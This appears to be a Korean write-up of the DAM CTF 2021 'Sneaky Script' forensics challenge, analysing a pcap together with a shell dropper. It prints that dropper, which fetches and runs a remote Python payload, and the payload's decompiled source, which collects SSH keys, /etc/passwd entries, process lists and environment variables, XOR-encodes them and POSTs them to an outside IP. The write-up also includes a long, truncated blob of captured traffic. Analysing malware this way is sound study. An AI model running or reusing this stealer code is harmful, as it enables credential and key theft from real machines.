CTF Writeup

DAM CTF 2021 - Sneaky Script

LittleDev0617 2021. 11. 11. 22:24

pcap 파일과 쉘스크립트 파일 하나를 준다.

#!/bin/bash

rm -f "${BASH_SOURCE[0]}"

which python3 >/dev/null
if [[ $? -ne 0 ]]; then
    exit
fi

which curl >/dev/null
if [[ $? -ne 0 ]]; then
    exit
fi

mac_addr=$(ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}')

curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2>/dev/null | base64 -d > /tmp/.cacheimg
python3 /tmp/.cacheimg
rm -f /tmp/.cacheimg

54.80.43.46 패킷을 봐야겠따.
ip.src == 54.80.43.46 필터를 통해 패킷을 필터링한다.

패킷 우클릭 - Follow - TCP Stream을 본다.
mal.sh 분석을 통해 cache는 base64(맥), Response data는 base64 인코딩 된 값임을 알 수 있다.

import base64
a = 'Mw0NCvPFT2FUCwAA4wAAAAAAAAAAAAAAAAkAAABAAAAAc6QAAABkAGQBbABaAGQAZAFsAVoBZABkAWwCWgJkAGQBbANaBGQAZAFsBVoFZABkAWwGWgZkAGQBbAdaB2QAZAFsCFoIZABkAWwJWglkAGQBbApaCmQCZAOEAFoLZARkBYQAWgxkBmQHhABaDWQIZAmEAFoOZApkC4QAWg9kDGQNhABaEGQOZA+EAFoReQplEYMAAQBXAG4MAQABAAEAWQBuAlgAZAFTACkQ6QAAAABOYwAAAAAAAAAACQAAAAoAAABDAAAAc+YAAAB0AGoAdABqAXQAagKDAn0AdANqA2QBZAJkAxQAgwJ9AXQEagVkBHQGagd8AGoIgwBkBXQEaglkBGQDfAFqCoMAZAYZAIMDgwODAmQGGQB9AnwBaguDAH0DZwB9BHiEdAxkBnwCZAeDA0QAXXR9BXwDfAV8BWQIFwCFAhkAag1kAmQJgwJkBhkAfQZ8BmoOgwB9BnwDfAVkChcAfAVkCxcAhQIZAH0HfAdkBhkAmwBkDHwHZAkZAJsAZAx8B2QNGQCbAGQMfAdkDhkAmwCdB30IfARqD3wGfAhmAoMBAQBxalcAfARTACkPTtoBQvMBAAAAAGkAEAAAWgJpTGkSiQAAcgEAAADpKAAAAOkQAAAA6QEAAADpFAAAAOkYAAAA2gEu6QIAAADpAwAAACkQ2gZzb2NrZXTaB0FGX0lORVTaClNPQ0tfREdSQU3aBWFycmF52gZzdHJ1Y3TaBnVucGFja9oFZmNudGxaBWlvY3Rs2gZmaWxlbm/aBHBhY2vaC2J1ZmZlcl9pbmZv2gd0b2J5dGVz2gVyYW5nZdoFc3BsaXTaBmRlY29kZdoGYXBwZW5kKQnaAXPaAWfaAXnaAW7aAWHaAWnaAWPaAW3aAXapAHIkAAAA+hAvdG1wL3RtcGFsaWlkZWo12gxnZXRfbmV0X2luZm8NAAAAcyAAAAAAARABEAIKAQYBAgEYAQYCCAMEARIBHAEIARQBKgESAXImAAAAYwAAAAAAAAAABQAAAA4AAABDAAAAc5gAAAB0AGQBZAKDAo8YfQBkA2QEhAB8AGoBgwBEAIMBfQFXAGQAUQBSAFgAZwB9AnhmfAFEAF1efQN8A2oCZAWDAX0EdAN8BGQGGQCDAWQHawBzYHQDfARkBhkAgwFkCGsEcm58BGQJGQBkCmsDcm5xMnwCagR8BGQGGQB8BGQJGQB8BGQLGQB8BGQMGQBmBIMBAQBxMlcAfAJTACkNTnoLL2V0Yy9wYXNzd2TaAXJjAQAAAAAAAAACAAAAAwAAAFMAAABzFAAAAGcAfABdDH0BfAFqAIMAkQJxBFMAciQAAAApAdoFc3RyaXApAtoCLjDaAXhyJAAAAHIkAAAAciUAAAD6CjxsaXN0Y29tcD4lAAAAcwIAAAAGAHodZ2V0X3VzZXJzLjxsb2NhbHM+LjxsaXN0Y29tcD76ATpyCgAAAGnoAwAAaej9AAByAQAAANoEcm9vdOkFAAAA6QYAAAApBdoEb3BlbtoJcmVhZGxpbmVzchgAAADaA2ludHIaAAAAKQXaAWZyKgAAAHIcAAAA2gF6ch8AAAByJAAAAHIkAAAAciUAAADaCWdldF91c2VycyMAAABzEgAAAAABDAEcAwQBCgEKASwBAgImAXI1AAAAYwAAAAAAAAAABgAAABIAAABDAAAAc5QAAABnAH0AdABqAWQBgwF9AXiAfAFEAF14fQJ5ZHQCfAKDAQEAdABqA2QCfAKbAGQDnQODAX0DdARkAnwCmwBkBJ0DZAWDAo8efQRkBmoFfARqBoMAagdkB4MBgwFqCIMAfQVXAGQAUQBSAFgAfABqCXwCfAN8BWYDgwEBAFcAcRQBAAEAAQB3FFkAcRRYAHEUVwB8AFMAKQhOegUvcHJvY3oGL3Byb2MvegQvZXhleggvY21kbGluZdoCcmLzAQAAACByAwAAACkK2gJvc9oHbGlzdGRpcnIyAAAA2ghyZWFkbGlua3IwAAAA2gRqb2lu2gRyZWFkchgAAAByGQAAAHIaAAAAKQZyHgAAAHIfAAAA2gFicioAAAByMwAAAHIbAAAAciQAAAByJAAAAHIlAAAA2ghnZXRfcHJvYzEAAABzGAAAAAACBAIKAQoBAgIIAxIDFAEiAhQBBgEMAnI+AAAAYwEAAAAAAAAABQAAABcAAABDAAAAc3wAAABnAH0BeWZ0AGoBfABkARcAgwF9AnhSfAJEAF1KfQN5NnQCfACbAGQCfAObAJ0DZAODAo8YfQR8AWoDfAN8BGoEgwBmAoMBAQBXAGQAUQBSAFgAVwBxGgEAAQABAHcaWQBxGlgAcRpXAFcAbgwBAAEAAQBZAG4CWAB8AVMAKQROegUvLnNzaHoGLy5zc2gvcicAAAApBXI4AAAAcjkAAAByMAAAAHIaAAAAcjwAAAApBdoBdXIbAAAAcioAAAByHQAAAHIzAAAAciQAAAByJAAAAHIlAAAA2gdnZXRfc3NoSQAAAHMYAAAAAAIEAgIBDgIKAQIBFgEgAQYBEAEGAQYCckAAAABjBAAAAAAAAAAGAAAABQAAAEMAAABzYAAAAGkAfQR8AHwEZAE8AHwCfARkAjwAdAB0AWoCgwF8BGQDPABnAHwEZAQ8AHgwdAN0BHwBgwGDAUQAXSB9BXwEZAQZAGoFfAF8BRkAfAN8BRkAZAWcAoMBAQBxOFcAfARTACkGTtoDbmV02gRwcm9j2gNlbnbaBHVzZXIpAtoEaW5mb9oDc3NoKQbaBGRpY3RyOAAAANoHZW52aXJvbnIXAAAA2gNsZW5yGgAAACkGckEAAAByRAAAAHJCAAAAckYAAADaA291dHIgAAAAciQAAAByJAAAAHIlAAAA2gxidWlsZF9vdXRwdXRbAAAAcxAAAAAAAQQBCAEIAQ4CCAESASACcksAAABjAQAAAAAAAAAEAAAABQAAAAMAAABzXgAAAHQAagFqAmQBgwF9AXQDagR8AIMBagWDAIkBZAKJAHQGhwCHAWYCZANkBIQIdAd0CIgBgwGDAUQAgwGDAX0CfAFqCWQFZAZ0CmoLfAKDAYMDAQB8AWoMgwB9A2QAUwApB056DTM0LjIwNy4xODcuOTBzBwAAADg2NzUzMDljAQAAAAAAAAACAAAABwAAABMAAABzJAAAAGcAfABdHH0BiAF8ARkAiAB8AXQAiACDARYAGQBBAJECcQRTAHIkAAAAKQFySQAAACkCcikAAAByIAAAACkC2gFr2gFwciQAAAByJQAAAHIrAAAAbAAAAHMCAAAABgB6GHNlbmQuPGxvY2Fscz4uPGxpc3Rjb21wPtoEUE9TVHoHL3VwbG9hZCkN2gRodHRw2gZjbGllbnTaDkhUVFBDb25uZWN0aW9u2gRqc29u2gVkdW1wc9oGZW5jb2Rl2gVieXRlc3IXAAAAckkAAADaB3JlcXVlc3TaBmJhc2U2NNoJYjY0ZW5jb2Rl2gtnZXRyZXNwb25zZSkE2gRkYXRhciEAAADaAWRyKgAAAHIkAAAAKQJyTAAAAHJNAAAAciUAAADaBHNlbmRnAAAAcwwAAAAAAQwCDgEEASACFAFyXAAAAGMAAAAAAAAAAAgAAAAFAAAAQwAAAHN6AAAAZAFqAHQBagJkAmQDdANqBIMAFgCDAoMBfQBkBHwAawNyJmQAUwB0BYMAfQF0BoMAfQJ0B4MAfQNnAH0EeCJ8AkQAXRpcBH0FfQV9Bn0FfARqCHQJfAaDAYMBAQBxQlcAdAp8AXwCfAN8BIMEfQd0C3wHgwEBAGQAUwApBU5yLAAAAHoCLi56BSUwMTJ4ehE0YjplMTpkNjphODo2NjpiZSkMcjsAAADaAnJl2gdmaW5kYWxs2gR1dWlk2gdnZXRub2RlciYAAAByNQAAAHI+AAAAchoAAAByQAAAAHJLAAAAclwAAAApCNoDa2V5ckEAAAByRAAAAHJCAAAAckYAAADaAV9yHwAAAHJaAAAAciQAAAByJAAAAHIlAAAAch8AAAByAAAAcxYAAAAAAhoBCAEEAgYBBgEGAgQBEgESAg4Cch8AAAApEnIPAAAAclcAAAByEgAAANoLaHR0cC5jbGllbnRyTwAAAHJSAAAAcl0AAAByDAAAAHIQAAAAcjgAAAByXwAAAHImAAAAcjUAAAByPgAAAHJAAAAAcksAAAByXAAAAHIfAAAAciQAAAByJAAAAHIkAAAAciUAAADaCDxtb2R1bGU+AQAAAHMoAAAACAEIAQgBCAEIAQgBCAEIAQgBCAMIFggOCBgIEggMCAsIEgIBCgEGAQ==' 
a = base64.b64decode(a) 
f = open('./cache','wb') 
f.write(a) 
f.close()

mal.sh 에서 python3로 실행시키는 것과 파일 내용으로 pyc 파일임을 유추할 수 있다.
uncompyle6을 통해 py로 디컴파일해준다.

# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.5 (tags/v3.7.5:5c02a39a0b, Oct 15 2019, 00:11:34) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: /tmp/tmpaliidej5
# Compiled at: 2021-09-26 09:59:31
# Size of source mod 2**32: 2900 bytes
import array, base64, fcntl, http.client, json, re, socket, struct, os, uuid

def get_net_info():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    g = array.array('B', b'\x00' * 4096)
    y = struct.unpack('iL', fcntl.ioctl(s.fileno(), 35090, struct.pack('iL', 4096, g.buffer_info()[0])))[0]
    n = g.tobytes()
    a = []
    for i in range(0, y, 40):
        c = n[i:i + 16].split(b'\x00', 1)[0]
        c = c.decode()
        m = n[i + 20:i + 24]
        v = f"{m[0]}.{m[1]}.{m[2]}.{m[3]}"
        a.append((c, v))

    return a


def get_users():
    with open('/etc/passwd', 'r') as (f):
        x = [x.strip() for x in f.readlines()]
    g = []
    for z in x:
        a = z.split(':')
        if int(a[2]) < 1000 or int(a[2]) > 65000:
            if a[0] != 'root':
                continue
        g.append((a[2], a[0], a[5], a[6]))

    return g


def get_proc():
    n = []
    a = os.listdir('/proc')
    for b in a:
        try:
            int(b)
            x = os.readlink(f"/proc/{b}/exe")
            with open(f"/proc/{b}/cmdline", 'rb') as (f):
                s = (b' ').join(f.read().split(b'\x00')).decode()
            n.append((b, x, s))
        except:
            continue

    return n


def get_ssh(u):
    s = []
    try:
        x = os.listdir(u + '/.ssh')
        for y in x:
            try:
                with open(f"{u}/.ssh/{y}", 'r') as (f):
                    s.append((y, f.read()))
            except:
                continue

    except:
        pass

    return s


def build_output(net, user, proc, ssh):
    out = {}
    out['net'] = net
    out['proc'] = proc
    out['env'] = dict(os.environ)
    out['user'] = []
    for i in range(len(user)):
        out['user'].append({'info':user[i],  'ssh':ssh[i]})

    return out


def send(data):
    c = http.client.HTTPConnection('34.207.187.90')
    p = json.dumps(data).encode()
    k = b'8675309'
    d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])
    c.request('POST', '/upload', base64.b64encode(d))
    x = c.getresponse()


def a():
    key = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
    if '4b:e1:d6:a8:66:be' != key:
        return
    net = get_net_info()
    user = get_users()
    proc = get_proc()
    ssh = []
    for _, _, a, _ in user:
        ssh.append(get_ssh(a))

    data = build_output(net, user, proc, ssh)
    send(data)


try:
    a()
except:
    pass
# okay decompiling cache.pyc

send 함수를 보면 k로 xor 해준 뒤 리퀘스트를 보낸다.
이번엔 패킷에서 34.207.187.90을 필터링해보자.

base64(data ^ k) 이니 b64decode 후 xor 해주면 plain data를 얻을 수 있을 것 닽다.

import base64 
payload = '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